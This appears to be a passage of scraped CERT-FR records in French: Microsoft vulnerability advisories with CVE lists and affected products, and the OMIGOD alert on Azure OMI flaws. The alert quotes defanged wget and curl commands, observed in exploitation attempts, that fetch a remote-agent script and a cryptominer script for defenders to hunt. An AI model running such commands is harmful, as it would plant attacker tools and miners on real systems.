"url": "https://www.cve.org/CVERecord?id=CVE-2022-23252"
},
{
"name": "CVE-2022-23276",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23276"
},
{
"name": "CVE-2022-23272",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23272"
},
{
"name": "CVE-2022-23269",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23269"
},
{
"name": "CVE-2022-23274",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23274"
},
{
"name": "CVE-2022-23255",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23255"
},
{
"name": "CVE-2022-21988",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21988"
}
],
"links": [],
"reference": "CERTFR-2022-AVI-132",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-02-09T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une \u00e9l\u00e9vation de privil\u00e8ges, une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es, une usurpation d\u0027identit\u00e9, un d\u00e9ni de\nservice, un contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9 et une\nex\u00e9cution de code \u00e0 distance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 08 f\u00e9vrier 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2021-AVI-884
Vulnerability from certfr_avis - Published: - Updated:
Une vulnérabilité a été découverte dans Microsoft Azure Active Directory. Elle permet à un attaquant de provoquer une atteinte à la confidentialité des données.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Migrate",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Site Recovery",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Active Directory",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2021-42306",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42306"
}
],
"links": [
{
"title": "Billet de blogue Microsoft MSRC",
"url": "https://msrc-blog.microsoft.com/2021/11/17/guidance-for-azure-active-directory-ad-keycredential-property-information-disclosure-in-application-and-service-principal-apis/"
}
],
"reference": "CERTFR-2021-AVI-884",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2021-11-18T00:00:00.000000"
}
],
"risks": [
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 d\u00e9couverte dans Microsoft Azure Active\nDirectory. Elle permet \u00e0 un attaquant de provoquer une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es.\n\n\u00a0\n",
"title": "Vuln\u00e9rabilit\u00e9 dans Microsoft Azure Active Directory",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2021-42306 du 17 novembre 2021",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42306"
}
]
}
CERTFR-2021-AVI-863
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer une usurpation d'identité, une atteinte à la confidentialité des données, une exécution de code à distance, une élévation de privilèges et un contournement de la fonctionnalité de sécurité.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | Microsoft Exchange Server 2013 Cumulative Update 23 | ||
| Microsoft | N/A | FSLogix | ||
| Microsoft | N/A | Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8) | ||
| Microsoft | N/A | Microsoft Exchange Server 2016 Cumulative Update 21 | ||
| Microsoft | Azure | Azure RTOS | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.7 (includes 16.0 – 16.6) | ||
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 11 | ||
| Microsoft | N/A | 3D Viewer | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8) | ||
| Microsoft | N/A | Microsoft Exchange Server 2016 Cumulative Update 22 | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10) | ||
| Microsoft | N/A | Microsoft Malware Protection Engine | ||
| Microsoft | N/A | Power BI Report Server | ||
| Microsoft | N/A | Visual Studio Code | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.1 | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour 64 bits Systems | ||
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 10 | ||
| Microsoft | N/A | Microsoft Visual Studio 2015 Update 3 | ||
| Microsoft | Azure | Azure Sphere | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.0 |
References
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Microsoft Exchange Server 2013 Cumulative Update 23",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "FSLogix",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2016 Cumulative Update 21",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure RTOS",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.7 (includes 16.0 \u2013 16.6)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 11",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "3D Viewer",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2016 Cumulative Update 22",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Malware Protection Engine",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Power BI Report Server",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio Code",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour 64 bits Systems",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 10",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2015 Update 3",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Sphere",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2021-41374",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41374"
},
{
"name": "CVE-2021-43208",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-43208"
},
{
"name": "CVE-2021-41368",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41368"
},
{
"name": "CVE-2021-41349",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41349"
},
{
"name": "CVE-2021-42305",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42305"
},
{
"name": "CVE-2021-42322",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42322"
},
{
"name": "CVE-2021-42277",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42277"
},
{
"name": "CVE-2021-42321",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42321"
},
{
"name": "CVE-2021-43209",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-43209"
},
{
"name": "CVE-2021-41376",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41376"
},
{
"name": "CVE-2021-42301",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42301"
},
{
"name": "CVE-2021-3711",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3711"
},
{
"name": "CVE-2021-42319",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42319"
},
{
"name": "CVE-2021-42304",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42304"
},
{
"name": "CVE-2021-26444",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-26444"
},
{
"name": "CVE-2021-42316",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42316"
},
{
"name": "CVE-2021-41373",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41373"
},
{
"name": "CVE-2021-42292",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42292"
},
{
"name": "CVE-2021-42302",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42302"
},
{
"name": "CVE-2021-42323",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42323"
},
{
"name": "CVE-2021-42300",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42300"
},
{
"name": "CVE-2021-41375",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41375"
},
{
"name": "CVE-2021-40442",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-40442"
},
{
"name": "CVE-2021-42298",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42298"
},
{
"name": "CVE-2021-41372",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41372"
},
{
"name": "CVE-2021-42296",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42296"
},
{
"name": "CVE-2021-42303",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42303"
}
],
"links": [],
"reference": "CERTFR-2021-AVI-863",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2021-11-10T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une usurpation d\u0027identit\u00e9, une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es, une ex\u00e9cution de code \u00e0 distance, une\n\u00e9l\u00e9vation de privil\u00e8ges et un contournement de la fonctionnalit\u00e9 de\ns\u00e9curit\u00e9.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 09 novembre 2021",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2021-ALE-020
Vulnerability from certfr_alerte - Published: - Updated:
[Version du 20 septembre 2021]
Le 18 septembre Microsoft a publié un article afin d'expliquer comment Azure Sentinel peut aider à la recherche d'une compromission notamment l'exploitation des vulnérabilités OMIGOD [4]. De plus, à cette occasion, les marqueurs suivants, qui correspondent à des traces liées à une tentative d'exploitation, ont été proposés par Microsoft :
- wget https://www[.]dwservice[.]net/download/dwagent_generic[.]sh -O dwagent_generic.sh
- echo curl https://www[.]dwservice[.]net/download/dwagent_generic[.]sh --output dw.sh > go.sh
- curl -fSsL http://104[.]168[.]213[.]31:55879/coinlinux/runMiner[.]sh
[Version initiale]
Le 14 septembre 2021, une équipe de chercheurs en vulnérabilités a découvert quatre vulnérabilités dans Microsoft Azure, la plateforme cloud de Microsoft [1]. Ces vulnérabilités sont situées au sein du service OMI, lequel est déployé dans l'écosystème Azure. Ces vulnérabilités ont été regroupées sous l’appellation de « OMIGOD ». Le service OMI est le pendant open-source pour la famille de systèmes d'exploitation de type Linux ou Unix de WMI (Windows Management Infrastructure) et permet la gestion des configurations dans des environnements distants et locaux.
En particulier, la vulnérabilité immatriculée CVE-2021-38647 permet à un attaquant non authentifié de réaliser une exécution de code arbitraire avec les privilèges de l'utilisateur root. Elle impacte uniquement les entités utilisant les solutions de gestion Linux (On-Premises SCOM, Azure Automation State Configuration ou Azure Desired State Configuration extension) lorsque la gestion à distance est activée.
Pour des besoins de gestion à distance, il est possible que les ports associés à OMI (5986 / 5985 / 1270) soient accessibles depuis Internet. Dans ce cas, la vulnérabilité peut être exploitée afin d'obtenir un accès initial à un environnement Azure pour ensuite pouvoir se déplacer latéralement au sein du système d'information, en tirant notamment parti des trois autres vulnérabilités, qui permettent une élévation de privilèges locale.
Dans le cadre de son Patch Tuesday, en date du 14 septembre 2021 [5], Microsoft a ainsi mis à disposition un correctif pour ces quatre vulnérabilités :
- CVE-2021-38647 : Avec un score CVSSv3 à 9.8 et permettant à un attaquant de pouvoir exécuter du code arbitraire à distance ;
- CVE-2021-38648 : Avec un score CVSSv3 à 7.8 et permettant à un attaquant de pouvoir réaliser une élévation de privilèges ;
- CVE-2021-38645 : Avec un score CVSSv3 à 7.8 et permettant à un attaquant de pouvoir réaliser une élévation de privilèges ;
- CVE-2021-38649 : Avec un score CVSSv3 à 7.0 et permettant à un attaquant de pouvoir réaliser une élévation de privilèges
Solution
Le CERT-FR recommande fortement la mise à jour des extensions vulnérables. Pour cela, dans le cadre d'un déploiement dans le Cloud, veuillez vous assurer que la mise à jour a bien été appliquée, sinon dans le cas contraire l'effectuer manuellement. En ce qui concerne les déploiements OnPremises, les mises à jour des extensions vulnérables doivent être réalisées manuellement. Afin d'identifier les extensions concernées par ces vulnérabilités, les utilisateurs peuvent utiliser Azure Portal ou Azure CLI comme décrit dans la documentation de Microsoft [3].
Le CERT-FR rappelle également que ce type de service ne doit pas être exposé sur Internet. De plus, il est fortement recommandé de filtrer l’accès des ports susmentionnés associés au service OMI uniquement aux machines d'administration autorisées.
Impacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 3.0.0.1 antérieures à 3.0.0.3 | ||
| Microsoft | Azure | Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.71.X.XX antérieures à 2.71.1.25 | ||
| Microsoft | Azure | Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.0.0.0 | ||
| Microsoft | Azure | System Center Operations Manager (SCOM) On-Premises OMI versions antérieures à v1.6.8-1 (OMI framework est utilisé pour la surveillance de Linux / Unix) | ||
| Microsoft | Azure | Container Monitoring Solution (Cloud) déployé avec une image docker ayant un SHA ID différent de 12b7682d8f9a2f67752bf121029e315abcae89bc0c34a0e05f07baec72280707 | ||
| Microsoft | Azure | Azure Diagnostics (LAD) (Cloud) versions 3.0.131 et antérieures | ||
| Microsoft | Azure | Azure Automation State Configuration, DSC Extension (On-Premises) OMI versions antérieures à v1.6.8-1 (OMI framework est un pré-requis pour installer pour l'agent DSC ) | ||
| Microsoft | Azure | Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.70.X.XX antérieures à 2.70.0.30 | ||
| Microsoft | Azure | Azure Automation (On-Premises et Cloud) OMS Agent pour Linux GA versions v1.13.35 et antérieures | ||
| Microsoft | Azure | Azure Diagnostics (LAD) (Cloud) versions 4.0.0 à 4.0.5 antérieures à 4.0.11 | ||
| Microsoft | Azure | Azure Security Center (Cloud) OMS Agent pour Linux GA versions v1.13.35 et antérieures | ||
| Microsoft | Azure | le paquet OMI (On-Premises et Cloud) versions antérieures à v1.6.8-1 | ||
| Microsoft | Azure | Azure Automation Update Management (On-Premises et Cloud) OMS Agent pour Linux GA versions v1.13.35 et antérieures | ||
| Microsoft | Azure | Log Analytics Agent (On-Premises et Cloud) OMS Agent pour Linux GA versions 1.13.35 et antérieures |
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 3.0.0.1 ant\u00e9rieures \u00e0 3.0.0.3",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.71.X.XX ant\u00e9rieures \u00e0 2.71.1.25",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.0.0.0",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "System Center Operations Manager (SCOM) On-Premises OMI versions ant\u00e9rieures \u00e0 v1.6.8-1 (OMI framework est utilis\u00e9 pour la surveillance de Linux / Unix)",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Container Monitoring Solution (Cloud) d\u00e9ploy\u00e9 avec une image docker ayant un SHA ID diff\u00e9rent de 12b7682d8f9a2f67752bf121029e315abcae89bc0c34a0e05f07baec72280707",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Diagnostics (LAD) (Cloud) versions 3.0.131 et ant\u00e9rieures",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation State Configuration, DSC Extension (On-Premises) OMI versions ant\u00e9rieures \u00e0 v1.6.8-1 (OMI framework est un pr\u00e9-requis pour installer pour l\u0027agent DSC )",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.70.X.XX ant\u00e9rieures \u00e0 2.70.0.30",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation (On-Premises et Cloud) OMS Agent pour Linux GA versions v1.13.35 et ant\u00e9rieures",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Diagnostics (LAD) (Cloud) versions 4.0.0 \u00e0 4.0.5 ant\u00e9rieures \u00e0 4.0.11",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Security Center (Cloud) OMS Agent pour Linux GA versions v1.13.35 et ant\u00e9rieures",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "le paquet OMI (On-Premises et Cloud) versions ant\u00e9rieures \u00e0 v1.6.8-1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation Update Management (On-Premises et Cloud) OMS Agent pour Linux GA versions v1.13.35 et ant\u00e9rieures",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Log Analytics Agent (On-Premises et Cloud) OMS Agent pour Linux GA versions 1.13.35 et ant\u00e9rieures",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": "",
"closed_at": "2022-01-05",
"content": "## Solution\n\nLe CERT-FR recommande fortement la mise \u00e0 jour des extensions\nvuln\u00e9rables. Pour cela, dans le cadre d\u0027un d\u00e9ploiement dans le *Cloud*,\nveuillez vous assurer que la mise \u00e0 jour a bien \u00e9t\u00e9 appliqu\u00e9e, sinon\ndans le cas contraire l\u0027effectuer manuellement. En ce qui concerne les\nd\u00e9ploiements *OnPremises,* les mises \u00e0 jour des extensions vuln\u00e9rables\n\u003cu\u003edoivent \u00eatre r\u00e9alis\u00e9es manuellement\u003c/u\u003e. Afin d\u0027identifier les\nextensions concern\u00e9es par ces vuln\u00e9rabilit\u00e9s, les utilisateurs peuvent\nutiliser Azure Portal ou Azure CLI comme d\u00e9crit dans la documentation de\nMicrosoft \\[3\\].\n\n**Le CERT-FR rappelle \u00e9galement que ce type de service ne doit pas \u00eatre\nexpos\u00e9 sur Internet. De plus, il est fortement recommand\u00e9 de filtrer\nl\u2019acc\u00e8s des ports susmentionn\u00e9s associ\u00e9s au service OMI uniquement aux\nmachines d\u0027administration autoris\u00e9es.** \n",
"cves": [
{
"name": "CVE-2021-38648",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-38648"
},
{
"name": "CVE-2021-38647",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-38647"
},
{
"name": "CVE-2021-38645",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-38645"
},
{
"name": "CVE-2021-38649",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-38649"
}
],
"links": [
{
"title": "[4] Aide pour l\u0027utilisation de Azure Sentinel",
"url": "https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093"
},
{
"title": "[1] Publication de l\u0027\u00e9quipe de chercheurs en vuln\u00e9rabilit\u00e9s de Wiz",
"url": "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure"
},
{
"title": "[5] Avis CERT-FR du 15 septembre 2021",
"url": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2021-AVI-711/"
},
{
"title": "[3] Documentation de Microsoft",
"url": "https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/features-linux#discover-vm-extensions"
},
{
"title": "[2] Recommandations suppl\u00e9mentaires pour les vuln\u00e9rabilit\u00e9s OMIGOD",
"url": "https://msrc-blog.microsoft.com/2021/09/16/additional-guidance-regarding-omi-vulnerabilities-within-azure-vm-management-extensions/"
}
],
"reference": "CERTFR-2021-ALE-020",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2021-09-17T00:00:00.000000"
},
{
"description": "Ajout de la r\u00e9f\u00e9rence \u00e0 l\u0027avis CERT-FR",
"revision_date": "2021-09-22T00:00:00.000000"
},
{
"description": "Cl\u00f4ture de l\u0027alerte. Cela ne signifie pas la fin d\u0027une menace. Seule l\u0027application de la mise \u00e0 jour permet de vous pr\u00e9munir contre l\u0027exploitation de la vuln\u00e9rabilit\u00e9 correspondante.",
"revision_date": "2022-01-05T00:00:00.000000"
}
],
"risks": [
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
}
],
"summary": "\u003cstrong\u003e\\[Version du 20 septembre 2021\\]\u003c/strong\u003e\n\n\u003cspan class=\"mx_MTextBody mx_EventTile_content\"\u003e\u003cspan\nclass=\"mx_EventTile_body\" dir=\"auto\"\u003eLe 18 septembre Microsoft a publi\u00e9\nun article afin d\u0027expliquer comment Azure Sentinel peut aider \u00e0 la\nrecherche d\u0027une compromission notamment l\u0027exploitation des\nvuln\u00e9rabilit\u00e9s OMIGOD \\[4\\]. De plus, \u00e0 cette occasion, les marqueurs\nsuivants, qui correspondent \u00e0 des traces li\u00e9es \u00e0 une tentative\nd\u0027exploitation, ont \u00e9t\u00e9 propos\u00e9s par Microsoft : \u003c/span\u003e\u003c/span\u003e\n\n- \u003cspan class=\"mx_MTextBody mx_EventTile_content\"\u003e\u003cspan\n class=\"mx_EventTile_body\" dir=\"auto\"\u003ewget\n https://www\\[.\\]dwservice\\[.\\]net/download/dwagent_generic\\[.\\]sh\u00a0\n -O dwagent_generic.sh\u003c/span\u003e\u003c/span\u003e\n- \u003cspan class=\"mx_MTextBody mx_EventTile_content\"\u003e\u003cspan\n class=\"mx_EventTile_body\" dir=\"auto\"\u003eecho curl\n https://www\\[.\\]dwservice\\[.\\]net/download/dwagent_generic\\[.\\]sh\u00a0\n --output dw.sh \\\u003e go.sh\u003c/span\u003e\u003c/span\u003e\n- \u003cspan class=\"mx_MTextBody mx_EventTile_content\"\u003e\u003cspan\n class=\"mx_EventTile_body\" dir=\"auto\"\u003ecurl -fSsL\n http://104\\[.\\]168\\[.\\]213\\[.\\]31:55879/coinlinux/runMiner\\[.\\]sh\u003c/span\u003e\u003c/span\u003e\n\n\u003cstrong\u003e\\[Version initiale\\]\u003c/strong\u003e\n\nLe 14 septembre 2021, une \u00e9quipe de chercheurs en vuln\u00e9rabilit\u00e9s a\nd\u00e9couvert quatre vuln\u00e9rabilit\u00e9s dans Microsoft Azure, la plateforme\ncloud de Microsoft \\[1\\]. Ces vuln\u00e9rabilit\u00e9s sont situ\u00e9es au sein du\nservice OMI, lequel est d\u00e9ploy\u00e9 dans l\u0027\u00e9cosyst\u00e8me Azure. Ces\nvuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 regroup\u00e9es sous l\u2019appellation de \u00ab *OMIGOD* \u00bb. Le\nservice OMI est le pendant open-source pour la famille de syst\u00e8mes\nd\u0027exploitation de type Linux ou Unix de WMI (Windows Management\nInfrastructure) et permet la gestion des configurations dans des\nenvironnements distants et locaux.\n\n\u00a0\n\nEn particulier, la vuln\u00e9rabilit\u00e9 immatricul\u00e9e CVE-2021-38647 permet \u00e0 un\nattaquant non authentifi\u00e9 de r\u00e9aliser une ex\u00e9cution de code arbitraire\navec les privil\u00e8ges de l\u0027utilisateur *root*. Elle impacte uniquement les\nentit\u00e9s utilisant les solutions de gestion Linux (*On-Premises* SCOM,\nAzure Automation State Configuration ou Azure Desired State\nConfiguration extension) lorsque la gestion \u00e0 distance est activ\u00e9e.\n\n\u00a0\n\nPour des besoins de gestion \u00e0 distance, il est possible que les ports\nassoci\u00e9s \u00e0 OMI (5986 / 5985 / 1270) soient accessibles depuis Internet.\nDans ce cas, la vuln\u00e9rabilit\u00e9 peut \u00eatre exploit\u00e9e afin d\u0027obtenir un\nacc\u00e8s initial \u00e0 un environnement Azure pour ensuite pouvoir se d\u00e9placer\nlat\u00e9ralement au sein du syst\u00e8me d\u0027information, en tirant notamment parti\ndes trois autres vuln\u00e9rabilit\u00e9s, qui permettent une \u00e9l\u00e9vation de\nprivil\u00e8ges locale.\n\n\u00a0\n\nDans le cadre de son Patch Tuesday, en date du 14 septembre 2021 \\[5\\],\nMicrosoft a ainsi mis \u00e0 disposition un correctif pour ces quatre\nvuln\u00e9rabilit\u00e9s :\n\n- CVE-2021-38647 : Avec un score CVSSv3 \u00e0 9.8 et permettant \u00e0 un\n attaquant de pouvoir ex\u00e9cuter du code arbitraire \u00e0 distance ;\n- CVE-2021-38648 : Avec un score CVSSv3 \u00e0 7.8 et permettant \u00e0 un\n attaquant de pouvoir r\u00e9aliser une \u00e9l\u00e9vation de privil\u00e8ges ;\n- CVE-2021-38645 :\u00a0Avec un score CVSSv3 \u00e0 7.8 et permettant \u00e0 un\n attaquant de pouvoir r\u00e9aliser une \u00e9l\u00e9vation de privil\u00e8ges ;\n- 